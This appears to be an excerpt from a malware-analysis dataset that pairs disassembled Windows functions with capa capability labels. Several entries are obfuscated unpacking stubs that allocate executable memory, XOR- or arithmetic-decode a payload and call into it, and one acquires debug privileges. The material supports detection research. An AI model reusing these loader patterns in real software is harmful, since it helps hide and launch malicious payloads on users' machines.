joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409f7b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x409f8a
pop dword [ebp - 0x2c]
mov eax, 0x409f8a
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xb1718775
add dword [ebp - 0x3c], 0x9ce0bdd6
mov dword [ebp - 0x38], 0x17521a90
add dword [ebp - 0x38], 0x1ae131b5
mov dword [ebp - 0x34], 0x9d706ab4
add dword [ebp - 0x34], 0xaedbd97a
mov dword [ebp - 0x30], 0xf7ec5f8c
add dword [ebp - 0x30], 0x813a074
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x96629896
sub eax, 0x96204842
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x24200d4f
add dword [ebp - 0x3c], 0x50525c07
mov dword [ebp - 0x38], 0x547bd9e4
add dword [ebp - 0x38], 0xecf08791
mov dword [ebp - 0x34], 0x5e040d70
sub dword [ebp - 0x34], 0xfa94a104
mov dword [ebp - 0x30], 0xa72be836
add dword [ebp - 0x30], 0x58d417ca
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x888d14e0
add eax, 0x77b53b78
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3df7e
push 0
call eax
mov ecx, 0x4900
mov esi, eax
mov edi, 0xefcd1cc9
sub edi, 0xef8942c9
add edi, dword [ebp - 0x2c]
mov ebx, 0xd9a7cde1
sub ebx, 0xf9dea93e
add dword [ebp - 4], edi
mov edx, dword [edi]
sub dword [ebp - 8], 0x7f25bd7d
add edx, ebx
xor dword [ebp - 0xc], 0x105a8d62
mov dword [esi], edx
sub dword [ebp - 4], esi
add esi, 4
add edi, 0xe08ae7e6
sub edi, 0xe08ae7e2
loop 0x40a0a1
add eax, 0x975063b4
sub eax, 0x974f4ce1
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x954e17d1
add ecx, 0x6af1e82f
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x402793
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4027a2
pop dword [ebp - 0x2c]
mov eax, 0x4027a2
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x36506
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x1ab1fa99
add ecx, 0xe54e3f5d
mov edi, eax
mov ebx, 0x752c61e9
sub ebx, 0x74eb2625
add ebx, dword [ebp - 0x2c]
mov esi, 0x2af93725
sub esi, 0xbb5459c3
xor dword [ebp - 0x18], 0x7fb6457f
mov edx, dword [ebx]
sub dword [ebp - 8], edx
sub edx, esi
mov dword [ebp - 4], 0xed5fd72a
mov dword [edi], edx
add dword [ebp - 0x18], 0xd32a9781
add edi, 0x5bca672a
sub edi, 0x5bca6726
add ebx, 0x6d8a08ee
sub ebx, 0x6d8a08ea
loop 0x4027f7
add eax, 0x7a4d1690
add eax, 0x85b3c41b
mov ebx, eax
add eax, 0x25696468
sub eax, 0x25696463
mov ecx, 0x5f7b4ab6
sub ecx, 0x5f3b4ab6
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x100806b1
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0x10], 0
jne 0x100806c3
mov eax, dword [ecx + 8]
push dword [eax + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x1008082b
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x1011a647
call fcn.1011345f
mov esi, ecx
mov dword [ebp - 0x14], esi
call fcn.100757b4
xor ebx, ebx
push 0x10
mov dword [ebp - 4], ebx
mov dword [esi], vtable.ScObjects::Thread.0
mov dword [esi + 0x10], ebx
mov byte [esi + 0x14], bl
call fcn.100be39c
pop ecx
cmp eax, ebx
je 0x1008086f
mov dword [eax], vtable.ScObjects::ThreadData.0
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
jmp 0x10080871
xor eax, eax
mov dword [esi + 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push 0x10080612
push ebx
push ebx
call sub.MSVCR100.dll__beginthreadex
add esp, 0x18
cmp eax, 0xffffffff
jne 0x100808a1
mov eax, dword [esi + 8]
mov dword [esi + 0x10], 0x20
mov dword [esi + 0xc], ebx
mov dword [eax + 4], ebx
jmp 0x100808ad
mov ecx, dword [ebp - 0x10]
mov dword [esi + 0xc], ecx
mov ecx, dword [esi + 8]
mov dword [ecx + 4], eax
mov eax, esi
call fcn.10113537
ret

Function at 0x100879cc
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebx
xor ebx, ebx
cmp dword [0x1079d928], ebx
jne 0x10087a18
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
push ebx
push 1
push ebx
push ebx
mov edi, 0x1079d928
push edi
call esi
test eax, eax
jne 0x10087a16
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x10087a16
push 8
push 1
push ebx
push ebx
push edi
call esi
test eax, eax
jne 0x10087a16
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [0x1079d928], ebx
pop edi
pop esi
mov eax, dword [0x1079d928]
pop ebx
ret

Function at 0x10087b24
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x2c
mov eax, 0x1011b72d
call fcn.101134c8
xor esi, esi
mov ecx, edi
mov dword [ebp - 4], esi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], esi
call fcn.10080ca6
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], 1
call fcn.100879cc
cmp eax, esi
jne 0x10087b65
push 0xffffffffffffffff
push 0x10121c10
mov ecx, edi
call fcn.100be39c
jmp 0x10087bab
lea ecx, [ebp - 0x20]
push ecx
push 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0xffffffffffffffff
mov ecx, edi
push 0x10121c10
test eax, eax
je 0x10087b5e
call fcn.100be39c
movzx eax, byte [ebp + esi - 0x20]
push eax
lea eax, [ebp - 0x30]
push 0x1012e9d4
push eax
call sub.MSVCR100.dll_sprintf
lea eax, [ebp - 0x30]
push eax
push edi
call fcn.100be39c
add esp, 0x14
inc esi
cmp esi, 0x10
jb 0x10087b84
mov eax, edi
call fcn.1011354b
ret
Function at 0x10088272
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x5c
mov eax, 0x1011b86c
call fcn.101134c8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ebx
call fcn.100879cc
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], ebx
call fcn.10080ca6
xor esi, esi
inc esi
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.10080ca6
push dword [ebp - 0x48]
mov eax, 0x1012ea64
push eax
push dword [ebp - 0x50]
mov dword [ebp - 0x4c], esi
push eax
push dword [ebp - 0x48]
push edi
call fcn.100be39c
pop ecx
pop ecx
push eax
call fcn.100be39c
pop ecx
pop ecx
push eax
call fcn.100be39c
pop ecx
pop ecx
push eax
call fcn.100be39c
pop ecx
pop ecx
push eax
call fcn.100be39c
pop ecx
pop ecx
cmp dword [ebp - 0x44], ebx
jne 0x10088308
push 0xffffffffffffffff
push 0x10121c10
mov ecx, edi
call fcn.100be39c
jmp 0x100883cc
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100882f5
mov ecx, dword [edi + 8]
mov eax, dword [edi + 4]
push ebx
push ecx
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100882f5
mov esi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push 4
pop eax
push ebx
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x40]
push ecx
push eax
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x54], eax
call esi
test eax, eax
je 0x100882f5
push dword [ebp - 0x40]
call fcn.100be39c
pop ecx
mov dword [ebp - 0x44], eax
cmp eax, ebx
je 0x100882f5
push ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
push 2
push dword [ebp - 0x3c]
call esi
push 0xffffffffffffffff
mov ecx, edi
push 0x10121c10
test eax, eax
jne 0x10088389
call fcn.100be39c
jmp 0x100883c3
call fcn.100be39c
xor esi, esi
cmp dword [ebp - 0x40], ebx
jbe 0x100883c3
cmp esi, 0x28
jae 0x100883c3
mov eax, dword [ebp - 0x44]
movzx eax, byte [esi + eax]
push eax
lea eax, [ebp - 0x38]
push 0x1012e9d4
push eax
call sub.MSVCR100.dll_sprintf
lea eax, [ebp - 0x38]
push eax
push edi
call fcn.100be39c
add esp, 0x14
inc esi
cmp esi, dword [ebp - 0x40]
jb 0x10088395
push dword [ebp - 0x44]
call fcn.100be39c
pop ecx
cmp dword [ebp - 0x3c], ebx
je 0x100883da
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], bl
call fcn.10080ce2
mov eax, edi
call fcn.1011354b
ret
Function at 0x10094398
Capabilities:
Create mailslot

Disassembly:
push 0x14
mov eax, 0x1011da50
call fcn.1011345f
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [0x1015d0d4]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100925c5
xor ebx, ebx
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
mov dword [esi], vtable.WinInterAppStream.0
call fcn.10080ca6
lea eax, [esi + 0x40]
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 1
call fcn.100be39c
pop ecx
pop ecx
push eax
call fcn.100be39c
push 0xc
lea edi, [esi + 0x56]
push ebx
push edi
call sub.MSVCR100.dll_memset
add esp, 0x14
mov eax, edi
xor ecx, ecx
call fcn.10094387
test al, al
je 0x1009440d
cmp dword [esi + 0x5a], ebx
je 0x1009440d
mov ecx, edi
push ecx
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_CreateMailslotA]
lea ecx, [ebp - 0x20]
mov dword [esi + 0x52], eax
mov byte [ebp - 4], bl
call fcn.10080ce2
mov eax, esi
call fcn.10113537
ret 8

Function at 0x10094486
Capabilities:
Write file on windows

Disassembly:
push 0x1c
mov eax, 0x1011da7b
call fcn.1011345f
mov esi, ecx
push esi
lea ecx, [ebp - 0x18]
call fcn.100752a2
lea eax, [esi + 0x30]
xor ebx, ebx
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], ebx
call fcn.1008103f
mov eax, dword [ebp + 8]
push dword [eax + 8]
lea ecx, [ebp - 0x28]
push dword [eax + 4]
mov byte [ebp - 4], 1
call fcn.100be39c
mov eax, dword [esi + 0x5a]
push ebx
push 0x80
add esi, 0x56
neg eax
push 3
sbb eax, eax
and eax, esi
push eax
push 1
push 0x40000000
push dword [ebp - 0x24]
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x10], ebx
cmp edi, 0xffffffff
je 0x10094524
mov esi, dword [ebp + 0xc]
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
push ebx
lea edx, [ebp - 0x10]
push edx
push eax
push ecx
push edi
call dword [sym.imp.kernel32.dll_WriteFile]
push edi
mov dword [ebp + 8], eax
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [ebp + 8], ebx
je 0x10094524
mov esi, dword [esi + 8]
mov byte [ebp + 0xb], 1
cmp dword [ebp - 0x10], esi
je 0x10094527
mov byte [ebp + 0xb], bl
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call fcn.10080ce2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.100752d5
mov al, byte [ebp + 0xb]
call fcn.10113537
ret 8
Function at 0x100f867b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x100f86fe
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x100f86c8
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x100f86c8
cmp edi, ebx
jge 0x100f86c8
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x100f86f8
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x100f86f8
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x100f8710
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc

Function at 0x100f89a6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x1079d9e8], al
je 0x100f89dd
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x100f8a41
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.100be39c
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.100be39c
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.100be39c
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10113450
leave
ret 0x10

Function at 0x100f8a52
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1079d9e8], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x100f8a7e
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x100f8aaf
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x100f8aad
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.100be39c
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x100f8aaf
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10113450
leave
ret 8
Function at 0x100f8b4a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1079d9e8], 0
mov eax, dword [ebp + 8]
je 0x100f8b72
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x100f8b8c
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.100be39c
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10113450
leave
ret 4
Function at 0x1010402d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x101631e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
xor edi, edi
cmp dword [eax + 0x254], edi
je 0x10104089
cmp dword [eax + 0x264], edi
je 0x1010416f
cmp byte [0x1079d9e8], 0
push eax
push dword [eax + 0x250]
je 0x10104076
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x1010407c
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x264], eax
jmp 0x1010416f
mov eax, dword [eax + 0x25c]
cmp eax, edi
je 0x10104209
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.MSVCR100.dll_wcscpy]
mov eax, dword [esi]
pop ecx
pop ecx
cmp dword [eax + 0x260], edi
je 0x101040d5
lea eax, [ebp - 0x234]
push eax
call fcn.100be39c
mov eax, dword [esi]
push dword [eax + 0x260]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.MSVCR100.dll_wcscat]
add esp, 0xc
mov eax, dword [esi]
mov cl, byte [eax + 0x268]
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
and ecx, 0xffffff90
sub ecx, 0xffffff80
mov dword [eax], ecx
cmp byte [0x1079d9e8], 0
je 0x10104109
push dword [esi]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x1010412b
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.100be39c
push dword [esi]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x250], eax
mov eax, dword [esi]
xor ecx, ecx
cmp dword [eax + 0x250], 0xffffffff
setne cl
mov dword [eax + 0x264], ecx
mov eax, dword [esi]
cmp dword [eax + 0x264], edi
jne 0x10104157
mov dword [eax + 0x250], edi
mov ecx, dword [esi]
xor eax, eax
inc eax
mov dword [ecx + 0x254], eax
mov ecx, dword [esi]
cmp dword [ecx + 0x264], edi
jne 0x1010416f
mov dword [esi + 4], eax
mov eax, dword [esi]
cmp dword [eax + 0x264], edi
je 0x10104191
cmp byte [0x1079d9e8], 0
jne 0x10104191
push dword [eax + 0x258]
add eax, 0x2c
push eax
call fcn.100be39c
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [eax + 0x26c], ecx
mov edx, dword [esi]
mov ebx, dword [edx + 0x26c]
mov ecx, ebx
shr ecx, 4
and ecx, 1
je 0x101041c6
push esi
xor ecx, ecx
call fcn.100be39c
cmp word [eax], 0x2e
je 0x101041cf
test byte [edx + 0x268], 3
jne 0x101041d2
jmp 0x101041cf
test byte [edx + 0x268], 1
je 0x101041d2
xor ecx, ecx
inc ecx
cmp dword [edx + 0x264], edi
je 0x101041eb
cmp ecx, edi
jne 0x10104046
test bl, 2
jne 0x10104046
mov eax, edx
xor ecx, ecx
cmp dword [eax + 0x264], edi
setne al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10113450
leave
ret 4
xor al, al
jmp 0x101041f8

Function at 0x10113450
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101631e0]
jne 0x1011345a
repz ret
jmp fcn.10113f88
Function at 0x4061ae
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x4061bd
pop dword [ebp - 0x28]
mov eax, 0x4b2947c8
add eax, 0xb51719f5
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xbb32a400
add dword [ebp - 0x38], 0x931fa14b
mov dword [ebp - 0x34], 0xf309c161
sub dword [ebp - 0x34], 0xc0d6751c
mov dword [ebp - 0x30], 0xd630a595
add dword [ebp - 0x30], 0x761b9e99
mov dword [ebp - 0x2c], 0x4618ccf7
sub dword [ebp - 0x2c], 0x4618ccf7
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xb7e267ae
add dword [ebp - 0x38], 0xbc9001a8
mov dword [ebp - 0x34], 0x59b9d5a7
add dword [ebp - 0x34], 0xe7b28bce
mov dword [ebp - 0x30], 0x27124681
add dword [ebp - 0x30], 0x3c5d25eb
mov dword [ebp - 0x2c], 0x9ec1b46a
add dword [ebp - 0x2c], 0x613e4b96
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xd5476654
add eax, 0x2af90abc
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x37f59
push 0
call eax
mov ecx, 0xb18cf296
sub ecx, 0xb18ca88f
xor esi, esi
add esi, eax
mov edx, 0xd3810f13
sub edx, 0xd33daf13
add edx, dword [ebp - 0x28]
mov edi, 0xf435b39
add edi, 0x8970537c
sub dword [ebp - 8], 0x10452fdc
mov ebx, dword [edx]
xor ebx, edi
xor dword [ebp - 0x14], 0xd7a71468
mov dword [esi], ebx
add dword [ebp - 0xc], 0x1e554e01
add esi, 4
add edx, 0xd8f1634c
add edx, 0x270e9cb8
loop 0x4062dc
add eax, 0x11aef
xor ebx, ebx
add ebx, eax
add eax, 0x14d0a8f2
sub eax, 0x14d0a8ed
mov ecx, 0xdb633937
add ecx, 0x24dcc6c9
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x404b33
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4016c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push 0x2c
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x4011c8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call sub.MSVBVM60.DLL___vbaOnError
mov dword [ebp - 4], 3
push 0x402d04
call fcn.00404c1c
mov dword [ebp - 4], 4
mov eax, dword [ebp + 0x10]
cmp word [eax], 0xffff
jne 0x404bb5
mov dword [ebp - 4], 5
mov dword [ebp - 0x24], 0x1d
jmp 0x404bc0
mov dword [ebp - 4], 7
and dword [ebp - 0x24], 0
mov dword [ebp - 4], 9
lea eax, [ebp - 0x24]
push eax
call sub.MSVBVM60.DLL_VarPtr
mov dword [ebp - 0x38], eax
push 4
push dword [ebp - 0x38]
push 0x1d
xor eax, eax
mov eax, dword [ebp + 0xc]
mov ax, word [eax]
push eax
call fcn.0040307c
call sub.MSVBVM60.DLL___vbaSetSystemError
push 0x404bfe
jmp 0x404bfd
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401c66
pop dword [ebp - 0xc]
mov eax, 0x401c66
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x2d398443
add dword [ebp - 0x1c], 0x2118c108
mov dword [ebp - 0x18], 0x2e830829
add dword [ebp - 0x18], 0x3b0441c
mov dword [ebp - 0x14], 0xa0eb2cb2
add dword [ebp - 0x14], 0xab61177c
mov dword [ebp - 0x10], 0xebc1052c
add dword [ebp - 0x10], 0x143efad4
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xfa5ae380
sub dword [ebp - 0x1c], 0x85e87a2a
mov dword [ebp - 0x18], 0xab72fd34
sub dword [ebp - 0x18], 0x6a069bbf
mov dword [ebp - 0x14], 0xbd137692
sub dword [ebp - 0x14], 0x59a40a26
mov dword [ebp - 0x10], 0xe68d42da
add dword [ebp - 0x10], 0x1972bd26
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3214e
push 0
call eax
mov ecx, 0x29faccfa
add ecx, 0xd605696d
xor esi, esi
add esi, eax
mov edx, 0xa213cf09
sub edx, 0xa1d35f09
add edx, dword [ebp - 0xc]
mov ebx, 0xa003b59
sub ebx, 0x51a529f
xor dword [ebp - 8], ecx
mov edi, dword [edx]
mov dword [ebp - 8], 0x212adce3
sub edi, ebx
add dword [ebp - 4], 0x31931688
mov dword [esi], edi
mov dword [ebp - 4], 0x765271c0
add esi, 0xf4a0fd68
sub esi, 0xf4a0fd64
add edx, 0x7c1fc873
sub edx, 0x7c1fc86f
loop 0x401d7b
add eax, 0xcc6f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9f1fb350
sub ecx, 0x9edfb350
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x40d578
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408d2c
mov dword [ebp - 0x14], eax
cmp dword [0x4b2ed8], esi
jne 0x40d66b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d5f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d74b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d74b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d74b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4b2ed8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4b2edc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4b2ee0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4b2ee8], eax
test eax, eax
je 0x40d668
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4b2ee4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d690
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d683
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d6a5
push 4
pop eax
jmp 0x40d74d
cmp dword [ebp - 0x14], esi
je 0x40d6a5
push dword [0x4b2ed8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d68a
mov eax, dword [0x4b2ee4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d703
cmp dword [0x4b2ee8], edi
je 0x40d703
push eax
call ebx
push dword [0x4b2ee8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d703
test eax, eax
je 0x40d703
call ecx
test eax, eax
je 0x40d6f8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d6f8
test byte [ebp - 8], 1
jne 0x40d703
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d733
mov eax, dword [0x4b2edc]
cmp eax, edi
je 0x40d730
push eax
call ebx
test eax, eax
je 0x40d730
call eax
mov esi, eax
test esi, esi
je 0x40d730
mov eax, dword [0x4b2ee0]
cmp eax, edi
je 0x40d730
push eax
call ebx
test eax, eax
je 0x40d730
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4b2ed8]
call ebx
test eax, eax
je 0x40d74b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d74d
